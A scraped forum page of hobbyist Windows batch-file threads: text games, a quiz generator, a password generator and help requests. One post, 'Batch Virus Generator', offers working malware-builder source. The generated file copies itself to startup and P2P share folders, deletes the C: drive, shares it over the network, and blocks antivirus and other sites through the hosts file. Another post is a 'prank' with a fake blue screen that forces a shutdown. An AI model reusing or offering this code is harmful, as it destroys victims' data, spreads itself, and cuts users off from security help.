echo time untill impact of american icbm's 10 seconds ping localhost -n 4 > Nul cls echo impact echo all remaning defences destroyed echo total devestation is imenent pause goto end :Russsiafire cls echo remaning misles fired echo time untill impact 30 seconds ping localhost -n 4 > Nul echo impact pause goto Russiawait :end cls echo. echo *--------------------------------------------------------------* echo      GAME OVER echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - LOSE echo. echo RUSSIA - LOSE echo. echo total result NO WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. pause goto top2 :top2 cls echo would you like to play again? echo. set /p gameagain= if not defined gameagain (goto please ) if %gameagain% EQU yes (goto top ) if %gameagain% NEQ yes (goto exit ) :russia cls echo %name% you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two2 ) if %num%==3 (goto three3 ) if %num%==4 (goto four4 ) if %num%==5 (goto five5 ) :one1 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2 :two2    cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :three3 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                                        America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :four4 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :five5 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :russia2 cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two11 ) :one11 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3 :two11 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3 :russia3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon1= if not defined wepon1 ( goto please ) if %wepon1%==1 (goto icbm1 ) if %wepon1%==2 ( goto nuc1 ) :icbm1 cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1r :nuc1 cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1r :defcon1r cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion1= if not defined desion1(goto please ) if %desion1%==wait (goto Americawait ) if %desion1%==fire ( goto Americafire ) :Americawait cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto end :Americafire cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto Americawait exit :russialoser cls echo welcome mythbatcer you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two21 ) if %num%==3 (goto three31 ) if %num%==4 (goto four41 ) if %num%==5 (goto five51 ) :one11 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2m :two21   cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :three31 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                          America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :four41 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :five51 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :russia2m cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one111 ) if %num%==2 (goto two111 ) :one111 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3m :two111 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3m :russia3m cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon11= if not defined wepon11 (goto please ) if %wepon11%==1 (goto explosionboom ) if %wepon11%==2 (goto explosion ) :explosionboom cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 ping localhost -n 4 > Nul echo impact pause goto defcon1m :explosion cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1m :defcon1m cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion11= if not defined desion11(goto please ) if %desion11%==wait (goto waitforboom ) if %desion11%==fire ( goto firethosebooms ) :waitforboom cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto ENDM :firthosebooms cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto wait22 :endm cls echo. echo American scientest have descoverd the [x-wav] lazar echo this lazar can fit into a small simple packege and emitts no radiation echo The [x-wav] lazar can burn an area of sixty thousand miles across echo in under an  hour echo We have assembled an army of U-2 Dragon ladies outfitted with this revolutionary technology echo We will strik on your command echo. echo type strik to fire the  [x-wav]. This is our finest hour, America lies in your hands now echo good luck %name% echo. set /p command= if not defined command (goto please ) if %command% EQU strik (goto imposoble ) if %command%==wait (goto end ) if %command%==fire (goto imposoble ) :please1 cls echo incorrect responce pause goto endm :imposoble cls echo [X-WAV] SUCCESFUL echo You have won!!!!!!!!!!!! echo. echo *--------------------------------------------------------------* echo      GAME OVER         CONGRADULATIONS echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - !!!!!WIN!!!!! echo. echo RUSSIA - LOSE echo. echo total result YOU ARE THE WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. echo or is it echo. echo yu have unlocked a "secret" echo in TBMS V3.0 type secret in the main menu echo somthing interesting migh happen echo. pause goto top2  

Topic by Laserman595   |  last reply


Cool Batch applet

Hey whats up the names Jason. I am 13 and like to play with computers but not like Halo (although i am guilty of occasionally playing Halo) what interest me is computer logic and programming. So right now i am half-way decentish with Qbasic and consequently Visual Basic, but the language i am most fluent in is just plain old DOS scripting (batch files). My math teacher at the begging of the year my math teacher announced that once o twice a month we would have a pop quiz on square roots and squares of numbers 1-20. Now to say the least I am poor with memorization. So i tried flash cards and starin at a sheet with the squares and square roots on it. but I was pretty consistently getting 60s and 70s. Now being a pretty good student this upset me and my parents weren't exactly happy. So then i decided i would make a batch file to quiz me on this, my first one was on sqrts. writing this took forever so even still i made another for squares. These programs help me study immensely and i now get a perfect 100 every quiz.. i then started thinking that there must be a way to speed up the writing of a simaler quiz program. thats why i wrote this, and i know it is probably mediocre but i like it so be nice. (You can do whatever you want with this source code, and while not required i would prefer credit if you distribute a mod of this batch file.)Here it is:rem The purpose of this batch is to automate the process of making another batch that is used to quiz a person@echo off:startclsEcho Make a Quizecho.echo.rem this part creates a variabl that wil be used in creating the final batch fileecho enter the name of the fileecho .bat wil automaticaly be tacked ont to the endSet /p filename=echo.echo.rem This just creates a ariable that is the title of the the game to be createdecho now enter the title of the quizset/p title=echo.echo.rem this is where the user inputs question part one and it becomes a variableecho enter question part 1Set /p quespt1=echo.echo.rem this ask for the second part of the question echo enter qeustion part 2set /p quespt2=echo.echo.Rem this declares some variables just for shorthandset line=echo.set ec=echoRem this creates a file that user named a while back and then fills it with some preliminary textecho @echo off>%filename%.batecho :start>>%filename%.batecho cls>>%filename%.batecho echo %title%>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batrem this part is called midstart because ideally later you can repeat this multiple times depending on how long your quiz isset next=0:midstartset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo You got it right>>%filename%.batecho %line%>>%filename%.batecho %line%>>%filename%.batecho you have asked %next% question(s)echo.echo.echo If you would like to make a new question simply type "n" and press enterecho However to input your last question type "l" and press enterset /p endchoice=if %endchoice% == l goto endif %endchoice% == n goto restart:restartgoto midstart:endset /a next=%next%+1rem now we ask for the question of the questionecho now enter the question for the current questionSet /p questmp=echo.echo.rem now we ask for the answer for that questionecho now the answer to that same questionSet /p anstmp=rem More txt inserting (the %%answer%% is used so that in the batch file being created it shows up as %answer%)echo echo %quespt1% %questmp% %quespt2%>>%filename%.batecho set /p answer=>>%filename%.batecho if %%answer%% == %anstmp% goto next%next%>>%filename%.batecho echo you lost>>%filename%.batecho pause>>%filename%.batecho goto start>>%filename%.batecho :next%next%>>%filename%.batecho echo you won>>%filename%.batecho echo !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>>%filename%.batecho %line%>>%filename%.batecho echo click to exit>>%filename%.batecho pause>>%filename%.batEcho And thats it your doneecho.echo click to exitset /p end=And thats it so have fun and feel free to comment

Topic by lemonshark10   |  last reply


Batch file to copy files

Some body help me to create batch file which can copy files from a folder one by one into many folders. For example if one folder has 10 files then I have to copy those files (one in each) in each subdirectory of a given directory.

Topic by Code name MS   |  last reply


A Thermal reacting LED? Answered

Ok so I don't know much about LED's, or let alone anything about how electronics work, then only thing I know is how to code on a computer, for a computer, I don't even know how to code a PIC card or whatever... But anyway, I want to make an LED react based on a thermal image, so its camera or Thermal LED or something detects heat in a room and adjusts the power of light on an LED and also turns it off and on, kindof like another tutorial that someone had with the light table, except they didn't have instructions to build it. If you want I can draw a picture of what it should look like, but basically I want to end up with a bunch of LED's to light up when i enter my room, and later on I want to make it so that they shut off when I clap 2 times and make them udjust different light areas, so when I walk in different areas of my room, different lights go on, and then later after that I'll make it so I can change the colours of the lights by saying a different colour. If someone can help menu would greatly appreciate it and when i build it I will post the instructions on this site :D Thankyou

Question by jayjay110   |  last reply


Funny virus blue screen pc shutdown prank help

So I'm making a funny virus prank with .bat and I was wondering how to fix it so it will actually shutdown the pc after 5 seconds on the fake bluescreen Code so far: @echo off @echo WARNING VIRUS ATTACK! @echo WARNING VIRUS ATTACK! @echo WARNING VIRUS ATTACK! @echo All Files Deleted. Reboot to Restore. @echo Press Enter to Reboot ping 1.1.1.1 -n 1 -w 5000 >NUL @echo C: Drive Deleted @echo WARNING! All Files Lost! Virus Detected @echo Contact Administrator @echo WARNING! FIREWALL BREACHED! pause @echo WARNING! System Shutdown in 5! ping 1.1.1.1. -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 4! ping 1.1.1.1 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 3! ping 1.1.1.1 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 2! ping 1.1.1.1 -n 1 -w 1500>NUL @echo WARNING! System Shutdown in 1! ping 1.1.1.1 -n 1 -w 1500>NUL @echo Man are you easy to fool! @echo Do you REALLY think I would make a virus to delete all files on your computer? @echo Well, I might. But not this time. @echo This time. @echo THIS TIME. @echo Press Enter to End ping 1.1.1.1 -n 1 -w 4000 >NUL @echo SIKE! Im deleting everything now! @echo Now I will give you a REAL countdown! pause @echo DELETING ALL FILES IN 5 ping 1.1.1.1. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 4 ping 1.1.1.1. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 3 ping 1.1.1.1. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 2 ping 1.1.1.1. -n 1 -w 1500>NUL @echo DELETING ALL FILES IN 1 ping 1.1.1.1. -n 1 -w 1500>NUL pause color 2 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% ping 1.1.1.1. -n 1 -w 1500>NUL @echo All Files Deleted pause @echo off echo ^^^BSOD^ > bsod.hta echo. >> bsod.hta echo ^> bsod.hta echo applicationname="BSOD"  >> bsod.hta echo version="1.0" >> bsod.hta echo maximizebutton="no" >> bsod.hta echo minimizebutton="no" >> bsod.hta echo sysmenu="no" >> bsod.hta echo Caption="no" >> bsod.hta echo windowstate="maximize"/^> >> bsod.hta echo. >> bsod.hta echo ^^ >> bsod.hta echo ^ >> bsod.hta echo ^A problem has been detected and windows has been shutdown to prevent damage to your computer.^ >> bsod.hta echo. >> bsod.hta echo ^DRIVER_IRQL_NOT_LES_OR_EQUAL^ >> bsod.hta echo. >> bsod.hta echo ^If this is the first time you've seen this stop error screen, restart your computer, If this screen appears again, follow these steps:^ >> bsod.hta echo. >> bsod.hta echo ^Check to make sure any new hardware or software is properly installed. If this is a new installation, ask your hardware or software manufacturer for any windows updates you might need.^ >> bsod.hta echo. >> bsod.hta echo ^If problems continue, disable or remove any newly installed hardware or software. Disable BIOS memory options such as caching or shadowing. If you need to use Safe Mode to remove or disable components, restart your computer, press F8 to select Advanced Startup Options, and then select Safe Mode.^ >> bsod.hta echo. >> bsod.hta echo ^Technical information:^ >> bsod.hta echo. >> bsod.hta echo ^*** STOP: 0x000000D1 (0x0000000C,0x00000002,0x00000000,0xF86B5A89)^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^***       gv3.sys - Address F86B5A89 base at F86B5000, DateStamp 3dd9919eb^ >> bsod.hta echo. >> bsod.hta echo ^Beginning dump of physical memory^ >> bsod.hta echo ^Physical memory dump complete.^ >> bsod.hta echo ^Contact your system administrator or technical support group for further assistance.^ >> bsod.hta echo. >> bsod.hta echo. >> bsod.hta echo ^ >> bsod.hta echo ^^ >> bsod.hta start "" /wait "bsod.hta" del /s /f /q "bsod.hta" > nul shutdown.exe /s /t 00 And yes I got part of this from other people so I'm not saying I made it all on my own.

Topic by Someperson1234 


Batch Code variables?

So, I have been making a "OS" in Batch recently, and i am working on the main menu. it all works fine on the first variable, but when i type in anything else, (anything on the keyboard) it comes up with just the first variable. Anyone got any ideas for fixes? here's the code: ========================= @echo off :MMlauncher title Main_Menu echo Welcome to DolphOS! echo What would you like to do? echo. echo 1 File Explorer echo 2 Games echo 3 Notepad echo 4 Clock echo 5 Close DolphOS set /p programs=Enter number here: if%programs%==1 goto FeLauncher if%programs%==2 goto GMSLauncher if%programs%==3 goto NtpdLauncher if%programs%==4 goto ClkLauncher if%programs%==5 goto ShtDwn :FeLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching F ping localhost -n .15 >nul cls echo launching Fi ping localhost -n .15 >nul cls echo launching Fil ping localhost -n .15 >nul cls echo launching File ping localhost -n .15 >nul cls echo launching File ping localhost -n .15 >nul cls echo launching File e ping localhost -n .15 >nul cls echo launching File ex ping localhost -n .15 >nul cls echo launching File exp ping localhost -n .15 >nul cls echo launching File expl ping localhost -n .15 >nul cls echo launching File explo ping localhost -n .15 >nul cls echo launching File explor ping localhost -n .15 >nul cls echo launching File explore ping localhost -n .15 >nul cls echo launching File explorer ping localhost -n .15 >nul cls echo launching File explorer. ping localhost -n .15 >nul cls echo launching File explorer.. ping localhost -n .15 >nul cls echo launching File explorer... ping localhost -n .15 >nul cls echo launching File explorer... ping localhost -n 5 >nul cls echo launching File explorer... cls C:\users\Harrison\Documents\DolphOS\FeLauncher :GMSLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching G ping localhost -n .15 >nul cls echo launching Ga ping localhost -n .15 >nul cls echo launching Gam ping localhost -n .15 >nul cls echo launching Game ping localhost -n .15 >nul cls echo launching Games ping localhost -n .15 >nul cls echo launching Games ping localhost -n .15 >nul cls echo launching Games. ping localhost -n .15 >nul cls echo launching Games.. ping localhost -n .15 >nul cls echo launching Games... ping localhost -n .15 >nul cls echo launching Games ping localhost -n 5 >nul cls :NtpdLauncher echo l ping localhost -n .15 >nul cls echo la ping localhost -n .15 >nul cls echo lau ping localhost -n .15 >nul cls echo laun ping localhost -n .15 >nul cls echo launc ping localhost -n .15 >nul cls echo launch ping localhost -n .15 >nul cls echo launchi ping localhost -n .15 >nul cls echo launchin ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching ping localhost -n .15 >nul cls echo launching N ping localhost -n .15 >nul cls echo launching No ping localhost -n .15 >nul cls echo launching Not ping localhost -n .15 >nul cls echo launching Note ping localhost -n .15 >nul cls echo launching Notep ping localhost -n .15 >nul cls echo launching Notepa ping localhost -n .15 >nul cls echo launching Notepad ping localhost -n .15 >nul cls echo launching Notepad. ping localhost -n .15 >nul cls echo launching Notepad.. ping localhost -n .15 >nul cls echo launching Notepad... ping localhost -n 5 >nul cls ====================== thanks in advance,  -ThePuppet

Question by Fred the evil puppet   |  last reply


Help me at "for" command (Batch/CMD)

Can anyone help me? I've got a problem with the "for" command. I can't include decimals (like 0,1). Here's the code: @echo off :Start cls echo. & echo. echo Let's play a game! It's called echo NUMBER! Type in any number echo between 1 and 10: set/p "choice=>" for /L %%G in (1,1,10) do if %choice%==%%G goto Add :Wrong echo. echo Choose a number between 1 and 10! ping localhost -n >nul 2 goto Start :Add if %choice%==10 goto Tie set one=1 set /a result=%choice%+%one% echo I choose %result%! ping localhost -n >nul 3 goto Loser :Tie echo I choose 10, too! ping localhost -n >nul 3 echo. echo -=-=-=-=-=-TIE-=-=-=-=-=- echo. echo Press ENTER pause>nul goto Again :Loser cls echo. & echo. echo %result% is bigger than %choice%. echo Sorry, you lose. echo Press ENTER pause>nul   goto Again :Again cls echo. & echo. echo Wanna play again? (y/n) set/p "choice1=>" if %choice1%==y goto Start if %choice1%==n goto End :Sorry echo. echo Choose y or n! ping localhost -n >nul 3 goto Again :End exit The problem is at line 9: "for /L %%G in (1,1,10) do if %choice%==%%G goto Add" With (1,1,10) the sysem can only recognise Integers. So, if you know any way to solve that problem or to make the code more compact, please tell me :P PS: I'm from Brazil, so I'm sorry if there are any grammar mistakes.

Topic by Tetheu98   |  last reply


Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Topic by Vinylshakers   |  last reply


i am making a password generator for cld, and i need to know how to have cmd choose from a random set of words. thanks.

Here is my code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ title password generator xl color 0a @echo off :suggestions cls echo suggestions: echo here are suggestions for getting a good password: echo -when it asks your name, try a 4 letter name, shorten yours, or use 1 from tv. echo -when it gives your password, press enter until you get one with 3 numbers. pause goto notes :notes cls echo notes: echo --pressing enter at the end will only change the numbers, not the letters. echo --you can get a password with up to five numbers-- echo --if you dont like your password, try again-- pause goto prt1 :prt1 cls echo what is your name? set /p name= goto prt2 :prt2 cls echo are you a boy or a girl? set /p gend= if %gend% == boy goto boyy if %gend% == girl goto girll :girll cls echo favorite fruit out of these? (type letter of choice) echo a. apple echo b. banana echo c. cherry echo d. strawberry echo e. blackberry echo f. cranberry echo g. lemon echo h. lime echo i. kiwi echo j. raspberry set /p fruit= if %fruit% == a goto apple if %fruit% == b goto banana if %fruit% == c goto cherry if %fruit% == d goto strawberry if %fruit% == e goto blackberry if %fruit% == f goto cranberry if %fruit% == g goto lemon if %fruit% == h goto lime if %fruit% == i goto kiwi if %fruit% == j goto raspberry :boyy cls echo favorite fruit out of these? (type letter of choice) echo a. apple echo b. banana echo c. cherry echo d. strawberry echo e. blackberry echo f. cranberry echo g. lemon echo h. lime echo i. kiwi echo j. raspberry set /p fruit= if %fruit% == a goto apple1 if %fruit% == b goto banana1 if %fruit% == c goto cherry1 if %fruit% == d goto strawberry1 if %fruit% == e goto blackberry1 if %fruit% == f goto cranberry1 if %fruit% == g goto lemon1 if %fruit% == h goto lime1 if %fruit% == i goto kiwi1 if %fruit% == j goto raspberry1 :apple cls echo %name%paris%random% pause goto apple :banana cls echo %name%nabie%random% pause goto banana :cherry cls echo %name%rabs%random% pause goto cherry :strawberry cls echo %name%sifty%random% pause goto strawberry :blackberry cls echo %name%rafty%random% pause goto blackberry :cranberry cls echo %name%risty%random% pause goto cranberry :lemon cls echo %name%rifty%random% pause goto lemon :lime cls echo %name%lissy%random% pause goto lime :kiwi cls echo %name%sest%random% pause goto kiwi :raspberry cls echo %name%bera%random% pause goto raspberry :apple1 cls echo %name%pelt%random% pause goto apple1 :banana1 cls echo %name%nabe%random% pause goto banana1 :cherry1 cls echo %name%rabb%random% pause goto cherry1 :strawberry1 cls echo %name%sift%random% pause goto strawberry1 :blackberry1 cls echo %name%raft%random% pause goto blackberry1 :cranberry1 cls echo %name%rist%random% pause goto cranberry1 :lemon1 cls echo %name%rift%random% pause goto lemon1 :lime1 cls echo %name%rask%random% pause goto lime1 :kiwi1 cls echo %name%swerv%random% pause goto kiwi1 :raspberry1 cls echo %name%silge%random% pause goto raspberry1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ as you can see, i need to have cmd choose from a random set of names for each fruit. because i dont want it to be the same every time and i want this to be my ultimate batch program!!

Question by Tyler14414 


Once again, I need Batch Help

Is there a command that can count the times a code "plays/runs" and then do something with that number? such as....@ECHO OFF echo.Echo HiEcho. pause >nulEcho.:againstart Blah.txtgoto :againIf goto :again = 5 times goto :end <---- concept Idea:end echo.echo now its opened 5 timesecho.pauseNow if it went to again 5 times is there a way that i can send it another anchor in the script?

Topic by spiker   |  last reply


Creating batchfile with batchfile

Hi. I wanna make a batchfile that creates another batchfile with text. I've tried to use the echo command like this: "echo echo off > something.bat" and that do work but I need to use it like this:" echo ( echo off color a cls echo welcome etc. ) > something.bat somebody help! thanks in advance.

Topic by J.W   |  last reply



Game test thing

@echo off :menu cls echo Welcome to Martin's Zombie Survival Test! echo Are you ready to begin? echo 1) Yes! echo 2) No! set /p letter= if %letter% == 1 close if %letter% == 2 close cls :startgame echo Question 1. echo A flu has just infeccted your city and it was turning people into zombies, what would you do to stop yourself from being infected? echo 1) Hide in your cupboard echo 2) Get a injection from the doctor echo 3) or start to research your own cure in your private lab set /p letter= if %letter% == 1 goto menu if %letter% == 2 goto menu if %letter% == 3 goto lvl2 :lvl2 cls echo Question 2. echo You are mixing chemicals together when all of a sudden a zombie breaks into your lab, what would you do? echo 1) Throw the chemicals over it. echo 2) Pull out your gun and shoot it echo 3) or stab it with your scalpel set /p letter= if %letter% == 1 goto menu if %letter% == 2 goto menu if %letter% == 3 goto lvl3 :lvl3 cls

Topic by JMTS 


Help with an Idea to hack Amazon Echo Alexa for robotics

